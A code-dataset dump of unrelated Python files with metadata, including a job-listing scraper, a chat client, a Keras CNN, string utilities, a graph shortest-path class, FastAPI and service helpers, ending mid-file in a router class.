csvkit.writer(f)\n writer.writerow(HEADINGS)\n for row in assemble_output():\n writer.writerow([row[key] for key in HEADINGS])\n\n\ndef run():\n export_questions()\n","sub_path":"cfgov/ask_cfpb/scripts/export_knowledgebase_to_csv.py","file_name":"export_knowledgebase_to_csv.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"465181529","text":"# -*- coding: utf-8 -*-\nimport json\n\nimport scrapy\nfrom lpspyder.items import HeadHunterVacancy\nfrom datetime import date, timedelta\n\n# scrapy crawl hh_spyder -t csv -o test_vacancies_hh.csv\n\n\nclass HeadHunterSpyder(scrapy.Spider):\n\n name = 'hh_spyder'\n custom_settings = {\n 'ITEM_PIPELINES': {\n 'lpspyder.pipelines.CleanDescriptionPipline': 300,\n 'lpspyder.pipelines.LangDetectionPipline': 301,\n 'lpspyder.pipelines.SortCleanTextPipline': 302,\n 'lpspyder.pipelines.MysqlInsertHeadHunterVacancyPipline': 313,\n },\n 'LOG_FILE': 'hh_log.txt',\n 'LOG_LEVEL': 'INFO',\n 'COOKIES_DEBUG': 'False',\n 'AUTOTHROTTLE_DEBUG': 'False',\n 'DUPEFILTER_DEBUG': 'True'\n }\n allowed_domains = ['hh.ru']\n\n # search period: month\n start_urls = [\n 'https://hh.ru/search/vacancy?only_with_salary=false&clusters=true&items_on_page=100&no_magic=true&enable_snippets=true&salary=&st=searchVacancy&text=python'\n ]\n\n # search period: last 7 days\n # start_urls = [\n # 'https://hh.ru/search/vacancy?only_with_salary=false&clusters=true&items_on_page=100&no_magic=true&enable_snippets=true&search_period=7&salary=&st=searchVacancy&text=python'\n # ]\n\n # search period: last 24 hours\n # start_urls = [\n # 'https://hh.ru/search/vacancy?only_with_salary=false&clusters=true&items_on_page=100&no_magic=true&enable_snippets=true&search_period=1&salary=&st=searchVacancy&text=python'\n # ]\n\n def parse(self, response):\n\n self.logger.debug('PARSE: Parse function called on %s', response.url)\n\n areas_urls = response.xpath(\n '//div[@data-qa=\"serp__clusters\"]/div[@data-qa=\"serp__cluster-group\"][1]//a[@class=\"clusters-value\"]/@href').getall()\n for url in areas_urls:\n find_capitals = url.split('&')[5]\n \"\"\"\n 'area=1' - Москва\n Так как ограничение выдачи - 2000 вакансий, а в ��оскве их больше, то по ним дополнительная фильтрафия по станциям метро.\n Актуально в случае сбора данных за месяц.\n \"\"\"\n if find_capitals == 'area=1':\n yield response.follow(url, callback=self.capital)\n else:\n yield response.follow(url, callback=self.cluster)\n\n def capital(self, response):\n\n self.logger.debug(\n 'CAPITAL: Parse function called on %s', response.url)\n\n capital_urls = response.xpath(\n '//div[@data-qa=\"serp__clusters\"]/div[@data-qa=\"serp__cluster-group\"][3]//a[@class=\"clusters-value\"]/@href').getall()\n\n for url in capital_urls:\n yield response.follow(url, callback=self.cluster)\n\n def cluster(self, response):\n\n self.logger.debug('CLUSTER: Parse function called on %s', response.url)\n\n vacancy_urls = response.xpath(\n '//div[@data-qa=\"vacancy-serp__results\"]//a[@data-qa=\"vacancy-serp__vacancy-title\"]/@href').getall()\n\n for url in vacancy_urls:\n clean_url = url.split('?', maxsplit=1)[0]\n yield response.follow(clean_url, callback=self.vacancy)\n\n next_page = response.xpath(\n '//div[@data-qa=\"pager-block\"]//a[@data-qa=\"pager-next\"]/@href').get()\n if next_page is not None:\n yield response.follow(next_page, callback=self.cluster)\n\n def vacancy(self, response):\n\n self.logger.debug(\n f'VACANCY: Parse function called on {response.url}')\n\n employment_type = response.xpath(\n '//p[@data-qa=\"vacancy-view-employment-mode\"]/text()').get() + response.xpath('//p[@data-qa=\"vacancy-view-employment-mode\"]/span[@itemprop=\"workHours\"]/text()').get()\n\n # for vacancy in response:\n v = HeadHunterVacancy()\n v['vacancy_url'] = response.url\n v['vacancy_name'] = response.xpath(\n '//h1[@data-qa=\"vacancy-title\"]/text()').get()\n if response.xpath(\n '//meta[@itemprop=\"addressLocality\"]/@content') is not None:\n v['vacancy_city'] = response.xpath(\n '//meta[@itemprop=\"addressLocality\"]/@content').get()\n elif response.xpath(\n '//meta[@itemprop=\"addressRegion\"]/@content') is not None:\n v['vacancy_city'] = response.xpath(\n '//meta[@itemprop=\"addressRegion\"]/@content').get()\n else:\n v['vacancy_city'] = None\n v['vacancy_country'] = response.xpath(\n '//meta[@itemprop=\"addressCountry\"]/@content').get()\n if response.xpath(\n '//span[@itemprop=\"baseSalary\"]//meta[@itemprop=\"value\"]/@content') is not None:\n v['vacancy_salary_value'] = response.xpath(\n '//span[@itemprop=\"baseSalary\"]//meta[@itemprop=\"value\"]/@content').get()\n if response.xpath(\n '//span[@itemprop=\"baseSalary\"]//meta[@itemprop=\"minValue\"]/@content') is not None:\n v['vacancy_salary_min'] = response.xpath(\n '//span[@itemprop=\"baseSalary\"]//meta[@itemprop=\"minValue\"]/@content').get()\n if response.xpath(\n '//span[@itemprop=\"baseSalary\"]//meta[@itemprop=\"maxValue\"]/@content') is not None:\n v['vacancy_salary_max'] = response.xpath(\n '//span[@itemprop=\"baseSalary\"]//meta[@itemprop=\"maxValue\"]/@content').get()\n if response.xpath(\n '//span[@itemprop=\"baseSalary\"]//meta[@itemprop=\"currency\"]/@content') is not None:\n v['vacancy_salary_currency'] = response.xpath(\n '//span[@itemprop=\"baseSalary\"]//meta[@itemprop=\"currency\"]/@content').get()\n if response.xpath(\n '//span[@itemprop=\"baseSalary\"]//meta[@itemprop=\"unitText\"]/@content') is not None:\n v['vacancy_salary_period'] = response.xpath(\n '//span[@itemprop=\"baseSalary\"]//meta[@itemprop=\"unitText\"]/@content').get()\n v['company_name'] = response.xpath(\n '//div[@data-qa=\"vacancy-company\"]//meta[@itemprop=\"name\"]/@content').get()\n v['company_url'] = response.xpath(\n '//div[@data-qa=\"vacancy-company\"]//a[@itemprop=\"hiringOrganization\"]/@href').get()\n v['vacancy_adress'] = response.xpath(\n '//div[@data-qa=\"vacancy-company\"]//span[@data-qa=\"vacancy-view-raw-address\"]/text()').get()\n v['vacancy_expirience'] = response.xpath(\n '//span[@data-qa=\"vacancy-experience\"]/text()').get()\n v['vacancy_employment_type'] = employment_type\n v['vacancy_text_dirty'] = response.xpath(\n '//div[@data-qa=\"vacancy-description\"]').get()\n if response.xpath('//span[@data-qa=\"skills-element\"]//span[@data-qa=\"bloko-tag__text\"]/text()') is not None:\n key_skills = response.xpath(\n '//span[@data-qa=\"skills-element\"]//span[@data-qa=\"bloko-tag__text\"]/text()').getall()\n v['vacancy_key_skills'] = str(key_skills)\n v['industry'] = response.xpath(\n '//meta[@itemprop=\"industry\"]/@content').get()\n v['vacancy_published_at'] = response.xpath(\n '//meta[@itemprop=\"datePosted\"]/@content').get()\n yield v\n","sub_path":"lpspyder/spiders/hh_spyder.py","file_name":"hh_spyder.py","file_ext":"py","file_size_in_byte":7272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"108890452","text":"# Import the library\nimport grandeur.device as grandeur\nfrom gpiozero import LED\n\nled = LED(17)\n\n# Define the apiKey and Auth token\napiKey = \"YOUR-API-KEY\"\ntoken = \"YOUR-DEVICE-TOKEN\"\ndeviceID = \"YOUR-DEVICE-ID\"\n\n# Event listener on connection state\ndef onConnection(state):\n # Print the current state\n print(state)\n\n# Callback function to handle state change event\ndef updateHandler(path, state):\n # Print\n print(data)\n led.value = state\n\n# Callback function to handle current state\ndef dataHandler(code, res):\n # Print\n print(res[\"data\"])\n led.value = res[\"data\"][\"state\"]\n\n# Init the SDK and get reference to the project\nproject = grandeur.init(apiKey, token)\n\n# Place listener\nproject.onConnection(onConnection)\n\n# Get a reference to device class\ndevice = project.device(deviceID)\n\n# Subscribe to state change event\ndevice.data().on(\"state\", updateHandler)\n\n# Get current state\ndevice.data().get(\"state\", dataHandler)\n\n# Block main thread\nwhile 1:\n pass","sub_path":"Pi Switch/Hardware/Hardware.py","file_name":"Hardware.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"127846310","text":"# Python program to implement client side of chat room. \nimport socket \nimport select \nimport sys \n\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM) \nif len(sys.argv) != 4: \n\tprint(\"Correct usage: script, Name, IP address, port number\")\n\texit() \nName = str(sys.argv[1])\nIP_address = str(sys.argv[2]) \nPort = int(sys.argv[3]) \nserver.connect((IP_address, Port)) \n\nwhile True: \n\n\t# maintains a list of possible input streams \n\tsockets_list = [sys.stdin, server] \n\n\tread_sockets,write_socket, error_socket = select.select(sockets_list,[],[]) \n\n\tfor socks in read_sockets: \n\t\tif socks == server: \n\t\t\tmessage = socks.recv(2048) \n\t\t\tprint(str(message, \"utf-8\")) \n\t\telse: \n\t\t\tmessage = sys.stdin.readline() \n\t\t\tserver.send(bytes(\"<\" + Name + \">: \"+ message, \"utf-8\")) \n\t\t\tprint(\": \" + message)\nserver.close() ","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"208047210","text":"import pickle\r\nimport numpy as np\r\nnp.random.seed(1337) # for reproducibility\r\n\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Dropout, Activation, Flatten\r\nfrom keras.layers import Convolution2D, MaxPooling2D\r\nfrom keras.utils import np_utils\r\nfrom keras import backend as K\r\n\r\nbatch_size = 30\r\nnb_classes = 8\r\nnb_epoch = 5\r\n\r\n# input image dimensions\r\nimg_rows, img_cols = 100, 100\r\n# number of convolutional filters to use\r\nnb_filters = 64\r\n# size of pooling area for max pooling\r\npool_size = (4, 4)\r\n# convolution kernel size\r\nkernel_size = (5, 5)\r\n\r\n# the data, shuffled and split between train and test sets\r\n(training_data, validation_data, test_data) = pickle.load(open('ncohn_dataset.p','rb'))\r\n(X_train, y_train), (X_test, y_test) = (training_data[0],training_data[1]),(test_data[0],test_data[1])\r\n\r\n#ckecks if backend is theano or tensorflow for dataset format\r\nif K.image_dim_ordering() == 'th':\r\n X_train = X_train.reshape(X_train.shape[0], 1, img_rows, img_cols)\r\n X_test = X_test.reshape(X_test.shape[0], 1, img_rows, img_cols)\r\n input_shape = (1, img_rows, img_cols)\r\nelse:\r\n X_train = X_train.reshape(X_train.shape[0], img_rows, img_cols, 1)\r\n X_test = X_test.reshape(X_test.shape[0], img_rows, img_cols, 1)\r\n input_shape = (img_rows, img_cols, 1)\r\n\r\nprint('X_train shape:', X_train.shape)\r\nprint(X_train.shape[0], 'train samples')\r\nprint(X_test.shape[0], 'test samples')\r\n\r\n# convert class vectors to binary class matrices\r\nY_train = np_utils.to_categorical(y_train, nb_classes)\r\nY_test = np_utils.to_categorical(y_test, nb_classes)\r\n\r\n#A sequential model (feedforward)\r\nmodel = Sequential()\r\n\r\n#adding 2 Convolutional Layers and a maxpooling layer with activation function rectified linear unit and Dropout for regularization\r\nmodel.add(Convolution2D(nb_filters, kernel_size[0], kernel_size[1],\r\n border_mode='valid',\r\n input_shape=input_shape))\r\nmodel.add(Activation('relu'))\r\nmodel.add(Convolution2D(nb_filters, kernel_size[0], kernel_size[1]))\r\nmodel.add(Activation('relu'))\r\nmodel.add(MaxPooling2D(pool_size=pool_size))\r\nmodel.add(Dropout(0.25))\r\n\r\n#A Fully Conntected Layer with relu and a output layer with softmax\r\nmodel.add(Flatten())\r\nmodel.add(Dense(128))\r\nmodel.add(Activation('relu'))\r\nmodel.add(Dropout(0.5))\r\nmodel.add(Dense(nb_classes))\r\nmodel.add(Activation('softmax'))\r\n\r\n#compiling the model \r\nmodel.compile(loss='categorical_crossentropy',\r\n optimizer='adadelta',\r\n metrics=['accuracy'])\r\n\r\n#training\r\nmodel.fit(X_train, Y_train, batch_size=batch_size, nb_epoch=nb_epoch,\r\n verbose=1, validation_data=(X_test, Y_test))\r\nscore = model.evaluate(X_test, Y_test, verbose=0)\r\nprint('Test score:', score[0])\r\nprint('Test accuracy:', score[1])\r\n","sub_path":"cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":2800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"374836720","text":"# Leon Edward Quezada Reyes\r\n# Matricula 32138258\r\n\r\nMINUSCULAS_SPA_UNICODE = \"abcdefghijklmnñopqrstuvwxyzáéíóúü\"\r\nMAYUSCULAS_SPA_UNICODE = \"ABCDEFGHIJKLMNÑOPQRSTUVWXYZÁÉÍÓÚÜ\"\r\nDIGITOS_DECIMALES = \"0123456789\"\r\n\r\ndef capitaliza( original ):\r\n \" Esta función convierte a mayúscula el primer caracter del string\"\r\n # Verificamos el primer caracter del string original\r\n if original[0] not in MINUSCULAS_SPA_UNICODE:\r\n # No esta en minuscula, por tanto copia la original\r\n nueva = original[:]\r\n else:\r\n # Primer caracter es minuscula, lo convertimos a mayuscula\r\n # y copiamos el resto del string original.\r\n nuevochar = chr( ord( original[0] ) - 32 )\r\n nueva = str( nuevochar ) + original[1:]\r\n return nueva\r\n\r\ndef es_alfa(texto):\r\n salida = False\r\n for i in range(len(texto)):\r\n if texto[i] in MINUSCULAS_SPA_UNICODE or texto[i] in MAYUSCULAS_SPA_UNICODE:\r\n salida=True\r\n else:\r\n salida=False\r\n break\r\n return salida\r\n\r\ndef es_digito(entero):\r\n salida = False\r\n for i in range(len(str(entero))):\r\n if str(entero)[i] in DIGITOS_DECIMALES:\r\n salida=True\r\n else:\r\n salida=False\r\n break\r\n return salida\r\n\r\ndef a_minus(texto):\r\n nuevoTexto=[]\r\n salidaTexto=\"\"\r\n for i in range(len(texto)):\r\n if texto[i] in MINUSCULAS_SPA_UNICODE:\r\n nuevoTexto.append(texto[i])\r\n else:\r\n for j in range(len(MAYUSCULAS_SPA_UNICODE)):\r\n if MAYUSCULAS_SPA_UNICODE[j] == texto[i]:\r\n nuevoTexto.append(MINUSCULAS_SPA_UNICODE[j])\r\n for i in range(len(nuevoTexto)):\r\n salidaTexto+=nuevoTexto[i]\r\n return salidaTexto\r\n\r\ndef a_mayus(texto):\r\n nuevoTexto=[]\r\n salidaTexto=\"\"\r\n for i in range(len(texto)):\r\n if texto[i] in MAYUSCULAS_SPA_UNICODE:\r\n nuevoTexto.append(texto[i])\r\n else:\r\n for j in range(len(MINUSCULAS_SPA_UNICODE)):\r\n if MINUSCULAS_SPA_UNICODE[j] == texto[i]:\r\n nuevoTexto.append(MAYUSCULAS_SPA_UNICODE[j])\r\n for i in range(len(nuevoTexto)):\r\n salidaTexto+=nuevoTexto[i]\r\n return salidaTexto\r\n\r\ndef encuentra_chr(texto,letra):\r\n if len(letra)==1:\r\n for i in range(len(texto)):\r\n if texto[i]==letra:\r\n return i\r\n break\r\n return -1\r\n\r\ndef encuentra_str(texto,cadena):\r\n salida=-1\r\n if cadena in texto and len(cadena) >= 2:\r\n for i in range(len(texto)):\r\n if texto[i]==cadena[0]:\r\n for j in range(1,len(cadena)):\r\n if (texto[i+j]==cadena[j]):\r\n salida=i\r\n return i \r\n else:\r\n salida=-1 \r\n else:\r\n salida=-2\r\n else:\r\n return salida\r\n\r\n\r\n\r\ndef reemplaza_chr(texto,cadena1,cadena2):\r\n salida=[]\r\n salidaStr=\"\"\r\n if len(cadena1) == 1 and len(cadena2) == 1:\r\n for i in range(len(texto)):\r\n if texto[i] == cadena1:\r\n salida.append(cadena2)\r\n else:\r\n salida.append(texto[i])\r\n else:\r\n return \"\"\r\n \r\n for i in range(len(salida)):\r\n salidaStr+=salida[i]\r\n return salidaStr\r\n\r\ndef reemplaza_str(texto,cadena1,cadena2):\r\n salidaStr=[]\r\n textoSalida=\"\"\r\n if len(cadena1) >= 1 and len(cadena2) >= 1 and len(cadena1) == len(cadena2):\r\n if encuentra_str(texto,cadena1) == -1:\r\n return \"chin\"\r\n else:\r\n for i in range(encuentra_str(texto,cadena1)):\r\n salidaStr.append(texto[i])\r\n\r\n x=0\r\n for i in range(encuentra_str(texto,cadena1),encuentra_str(texto,cadena1)+len(cadena1)):\r\n salidaStr.append(cadena2[x])\r\n x+=1\r\n for i in range(len(salidaStr),len(texto)): \r\n salidaStr.append(texto[i]) \r\n for i in range(len(salidaStr)):\r\n textoSalida+=(salidaStr[i])\r\n return textoSalida\r\n else:\r\n return \"\"\r\n\r\n","sub_path":"modulo01_32138258.py","file_name":"modulo01_32138258.py","file_ext":"py","file_size_in_byte":4162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"590056745","text":"def find_min(distance,visited,vertex):\n min_ = float('inf')\n i = -1\n res = -1\n distance_copy = []\n for dis in distance:\n distance_copy.append(dis)\n for vis in visited:\n distance_copy[index(vis,vertex)] = float('inf')\n for v in distance_copy:\n i += 1\n if v < min_:\n min_ = v\n res = i\n return res\n\ndef find_path(vertex,pre,start,end):\n i = 0\n rev_path = [end]\n path = []\n curr = end\n while curr != start:\n i += 1\n rev_path.append(pre[index(curr,vertex)])\n curr = pre[index(curr,vertex)]\n for item in rev_path:\n path.append(rev_path[i])\n i -= 1\n return path\ndef index(v,v_list):\n i = -1\n res = -0\n for v_ in v_list:\n i += 1\n if v_ == v:\n res = i\n return res\n\ndef find(edge,vertex):\n if edge.target == vertex:\n return True\n else:\n if edge.next != None:\n if find(edge.next,vertex):\n return True\n if edge.target.has_edge_to(vertex):\n return True\n else: \n return False\n\ndef not_visit(vertex,visited):\n for item in visited:\n if vertex == item:\n return False\n return True\n \nclass Vertex:\n def __init__(self,content = None,edge_head = None,next= None):\n self.content = content\n self.edge_head = edge_head\n self.next = next\n def __str__(self):\n return self.content\n def add_edge(self,vertex,weight):\n edge = Edge(vertex,None)\n if self.edge_head == None:\n self.edge_head = edge\n edge.weight = weight\n else:\n edge.next = self.edge_head\n self.edge_head = edge\n edge.weight = weight\n def has_edge_to(self,vertex):\n if self == vertex:\n return True\n if self.edge_head == None:\n return False\n else:\n return find(self.edge_head,vertex)\n\nclass Edge:\n def __init__(self,target = None,next = None,weight = None):\n self.target = target\n self.next = next\n self.weight = weight\n def __str__(self):\n return \"-> \" + self.target.content\nclass Graph:\n def __init__(self):\n self.vertex_head = None\n def __str__(self):\n if self.vertex_head == None:\n return \"<>\"\n string = \"\"\n curr = self.vertex_head\n while curr != None:\n if curr.edge_head == None:\n string += curr.content + \"|\"\n else:\n edge = str(curr.content) + \"->(\" + str(curr.edge_head.weight) + \"-\" + str(curr.edge_head.target.content)\n curr_edge = curr.edge_head.next\n while curr_edge != None:\n edge += \",\" + str(curr_edge.weight) + \"-\" + str(curr_edge.target.content)\n curr_edge = curr_edge.next\n edge += \")|\"\n string += edge\n curr = curr.next\n return string[:-1]\n def add_vertex(self,vertex):\n v = Vertex(vertex,None)\n if self.vertex_head == None:\n self.vertex_head = v\n else:\n v.next = self.vertex_head\n self.vertex_head = v\n def find_vertex(self,vertex):\n if self.vertex_head == None:\n return None\n else:\n curr = self.vertex_head\n while curr != None:\n if curr.content == vertex:\n return curr\n curr = curr.next\n return None\n def add_edge(self,start,end,weight):\n self.find_vertex(start).add_edge(self.find_vertex(end),weight)\n def reachable(self,start,end):\n if (self.find_vertex(start) != None) and (self.find_vertex((end)) != None):\n return self.find_vertex(start).has_edge_to(self.find_vertex(end))\n else:\n return False\n def shortest_path(self,start,end):\n if self.reachable(start,end):\n start = self.find_vertex(start)\n end = self.find_vertex(end)\n visited = []\n distance = []\n vertex = []\n pre = []\n i = -1\n curr = self.vertex_head\n while curr != None:\n i += 1\n vertex.append(curr)\n pre.append(curr)\n if curr == start:\n distance.append(0)\n else:\n distance.append(float('inf'))\n curr = curr.next\n \n while not_visit(end,visited):\n curr = vertex[find_min(distance,visited,vertex)]\n visited.append(curr)\n curr_edge = curr.edge_head\n while curr_edge != None:\n if distance[index(curr,vertex)] + curr_edge.weight < distance[index(curr_edge.target,vertex)]:\n distance[index(curr_edge.target,vertex)] = distance[index(curr,vertex)] + curr_edge.weight\n pre[index(curr_edge.target,vertex)] = vertex[index(curr,vertex)]\n curr_edge = curr_edge.next\n return find_path(vertex,pre,start,end)\n else:\n return None\n\n","sub_path":"Shortest Path/weight_graph.py","file_name":"weight_graph.py","file_ext":"py","file_size_in_byte":5186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"263067928","text":"import http.server\nfrom time import time\n\nPORT = 80\n\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n response = f\"The time is {time()}.\\nYour IP is {self.client_address}.You requesteed '{self.path}'\"\n self.send_response(200)\n self.end_headers()\n self.wfile.write(response.encode('utf8'))\n\n\nwith http.server.HTTPServer((\"\", PORT), Handler) as httpd:\n print(\"serving at port\", PORT)\n httpd.serve_forever()\n","sub_path":"registration/backend/app/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"602964845","text":"import random\r\n\r\nimport test_strategies as testS\r\nimport data_manipulation as dm\r\n\r\n\r\ndef main_test_bot(client, menu_set):\r\n\r\n strats_to_run = menu_set.strats[0]['label']\r\n tests = 1\r\n\r\n if strats_to_run == 'main_test':\r\n\r\n for t in range(0, tests):\r\n # print(\"Setting up random time periods...\")\r\n # menu_set.strats[0]['symbol'] = get_symbol_set(menu_set.strats[0]['symbol'])\r\n # menu_set.multi_data = dm.ready_data_load(menu_set.strats)\r\n # menu_set.multi_data = get_time_range(menu_set.strats, menu_set.multi_data)\r\n # print(\"Running \" + strats_to_run + \" randomized, please wait...\")\r\n # all_data = dm.multi_to_all_data(menu_set)\r\n\r\n print(\"Running test: \" + strats_to_run + \"...\")\r\n testS.main_test_strat(client, menu_set.strats[0], t)\r\n\r\n print(\"Finished Tests.\")\r\n\r\n\r\ndef get_symbol_set(symbols):\r\n\r\n symbol_set = []\r\n\r\n number_of_symbols = random.randint(1, len(symbols))\r\n for s in range(0, number_of_symbols):\r\n ran_index = random.randint(0, len(symbols)-1)\r\n if symbols[ran_index] not in symbol_set:\r\n symbol_set.append(symbols[ran_index])\r\n\r\n return symbol_set\r\n\r\n\r\ndef get_time_range(strats, multi_data):\r\n\r\n time_range = []\r\n # interval_candle_epochs = [1440, 288, 96, 48, 24, 6, 1]\r\n interval_candle_epochs = [1440, 24, 1]\r\n\r\n day_epoch = 86400000\r\n day_gap = 60\r\n start_epoch = dm.date_to_milliseconds(strats[0]['time_start'])\r\n end_epoch = dm.date_to_milliseconds(strats[0]['end_time']) - (day_epoch - 60000)\r\n\r\n time_span = int((end_epoch - start_epoch) / day_epoch)\r\n\r\n rand_start = random.randint(0, (time_span - day_gap))\r\n rand_end = random.randint((rand_start+day_gap), time_span)\r\n\r\n for s in range(len(multi_data)):\r\n for i in range(0, len(strats[0]['interval'])):\r\n st = rand_start * interval_candle_epochs[i]\r\n en = rand_end * interval_candle_epochs[i]\r\n multi_data[s][i+1][2] = multi_data[s][i+1][2][st:en]\r\n\r\n return multi_data\r\n","sub_path":"test_bot.py","file_name":"test_bot.py","file_ext":"py","file_size_in_byte":2082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"354156989","text":"from sqlalchemy.orm.session import Session\nfrom db.models import DbArticle\nfrom fastapi import HTTPException, status\nfrom exceptions import StoryException\nfrom schemas import ArticleBase\n\n\n\ndef create_article(db: Session, request: ArticleBase):\n \n if request.content.startswith('One'):\n raise StoryException(\"No Stories Please\")\n \n new_article = DbArticle(\n title = request.title,\n content = request.content,\n published = request.published,\n user_id = request.creator_id\n )\n db.add(new_article)\n db.commit()\n db.refresh(new_article)\n return new_article\n\ndef get_article(db: Session, id: int):\n article = db.query(DbArticle).filter(DbArticle.id == id).first()\n \n # Handle errors\n if not article:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, \n detail=f\"Article {id} is not found\")\n\n return article","sub_path":"udemy-fastapi-base/db/db_article.py","file_name":"db_article.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"176091992","text":"from typing import Dict\n\nfrom botbuilder.core import (\n IntentScore,\n TopIntent,\n TurnContext,\n Recognizer,\n RecognizerResult\n)\nfrom .constants import Intent\nfrom utils.logging import LOGGER\n\n\ndef top_intent(intents: Dict[Intent, dict]) -> TopIntent:\n max_intent = Intent.NONE_INTENT\n max_value = 0.0\n\n for intent, value in intents:\n intent_score = IntentScore(value)\n if intent_score.score > max_value:\n max_intent, max_value = intent, intent_score.score\n\n return TopIntent(max_intent, max_value)\n\n\ndef get_intent(recognizer_result: RecognizerResult) -> str:\n intent = (\n sorted(\n recognizer_result.intents,\n key=recognizer_result.intents.get,\n reverse=True,\n )[:1][0]\n if recognizer_result.intents else None\n )\n return intent\n\n\nclass LuisHelper:\n \"\"\" LUIS helper \"\"\"\n @staticmethod\n async def execute_luis_query(\n luis_recognizer: Recognizer,\n turn_context: TurnContext\n ) -> (Intent, object):\n \"\"\"\n Returns an object with pre-formatted LUIS results for the bot's dialogs to consume.\n \"\"\"\n result = None\n intent = None\n\n try:\n LOGGER.debug(msg=\"Executing LUIS query\")\n\n recognizer_result = await luis_recognizer.recognize(turn_context)\n intent = get_intent(recognizer_result=recognizer_result)\n\n LOGGER.debug(msg=\"LUIS query execution succeeded\")\n except Exception as exception:\n LOGGER.error(msg=f\"Executing LUIS query failed with an error={exception}\")\n return intent, result\n","sub_path":"helpers/luis_helper.py","file_name":"luis_helper.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"383630119","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.4 (3310)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/treadmill/sproc/service.py\n# Compiled at: 2017-04-03 02:32:49\n# Size of source mod 2**32: 4594 bytes\n\"\"\"Runs the Treadmill localdisk service.\"\"\"\nimport logging, os, click\nfrom .. import services\n_LOGGER = logging.getLogger(__name__)\n\ndef init():\n \"\"\"Top level command line handler.\"\"\"\n local_ctx = {}\n\n @click.group()\n @click.option('--root-dir', type=click.Path(exists=True), required=True)\n @click.option('--watchdogs-dir', default='watchdogs')\n @click.option('--apps-dir', default='apps')\n def service(root_dir, watchdogs_dir, apps_dir):\n \"\"\"Run local node service.\"\"\"\n local_ctx['root-dir'] = root_dir\n local_ctx['watchdogs-dir'] = watchdogs_dir\n local_ctx['apps-dir'] = apps_dir\n\n @service.command()\n @click.option('--img-location', help='Location of loopback image to back LVM group.')\n @click.option('--reserve', default='2G', help='Amount of local disk space to set aside.')\n @click.option('--block-dev', help='Use a block device to back LVM group.')\n @click.option('--default-read-bps', required=True, help='Default read byte per second value.')\n @click.option('--default-write-bps', required=True, help='Default write byte per second value.')\n @click.option('--default-read-iops', required=True, type=int, help='Default read IO per second value.')\n @click.option('--default-write-iops', required=True, type=int, help='Default write IO per second value.')\n def localdisk(img_location, reserve, block_dev, default_read_bps, default_write_bps, default_read_iops, default_write_iops):\n \"\"\"Runs localdisk service.\"\"\"\n impl = 'treadmill.services.localdisk_service.LocalDiskResourceService'\n root_dir = local_ctx['root-dir']\n watchdogs_dir = local_ctx['watchdogs-dir']\n svc = services.ResourceService(service_dir=os.path.join(root_dir, 'localdisk_svc'), impl=impl)\n if block_dev is not None:\n svc.run(watchdogs_dir=os.path.join(root_dir, watchdogs_dir), block_dev=block_dev, default_read_bps=default_read_bps, default_write_bps=default_write_bps, default_read_iops=default_read_iops, default_write_iops=default_write_iops)\n else:\n if img_location is None:\n img_location = root_dir\n else:\n img_location = img_location\n svc.run(watchdogs_dir=os.path.join(root_dir, watchdogs_dir), img_location=img_location, reserve=reserve, default_read_bps=default_read_bps, default_write_bps=default_write_bps, default_read_iops=default_read_iops, default_write_iops=default_write_iops)\n\n @service.command()\n def cgroup():\n \"\"\"Runs cgroup node service.\"\"\"\n root_dir = local_ctx['root-dir']\n watchdogs_dir = local_ctx['watchdogs-dir']\n apps_dir = local_ctx['apps-dir']\n svc = services.ResourceService(service_dir=os.path.join(root_dir, 'cgroup_svc'), impl='treadmill.services.cgroup_service.CgroupResourceService')\n svc.run(watchdogs_dir=os.path.join(root_dir, watchdogs_dir), apps_dir=os.path.join(root_dir, apps_dir))\n\n @service.command()\n @click.option('--device', default='eth0', type=str, help='Externally visible network device.')\n @click.option('--mtu', default=None, type=int, help='External network MTU.')\n @click.option('--speed', default=None, type=int, help='External network speeds (bps).')\n def network(device, mtu, speed):\n \"\"\"Runs the network service.\n \"\"\"\n root_dir = local_ctx['root-dir']\n watchdogs_dir = local_ctx['watchdogs-dir']\n svc = services.ResourceService(service_dir=os.path.join(root_dir, 'network_svc'), impl='treadmill.services.network_service.NetworkResourceService')\n svc.run(watchdogs_dir=os.path.join(root_dir, watchdogs_dir), ext_device=device, ext_mtu=mtu, ext_speed=speed)\n\n del localdisk\n del cgroup\n del network\n return service","sub_path":"pycfiles/Treadmill-0.0.2-py3.4/service.cpython-34.py","file_name":"service.cpython-34.py","file_ext":"py","file_size_in_byte":4056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"417532051","text":"import sys\nimport random\nimport json\nfrom config import *\n\nclass Router():\n def __init__(self, topology, api):\n self.topology = topology\n self.api = api\n\n def collectStatistics(self):\n cumulativeStats = {}\n for switch, stats in self.api.collectPorts().iteritems():\n switchObject = self.topology.get('s' + switch[len(switch) - 1])\n portStats = 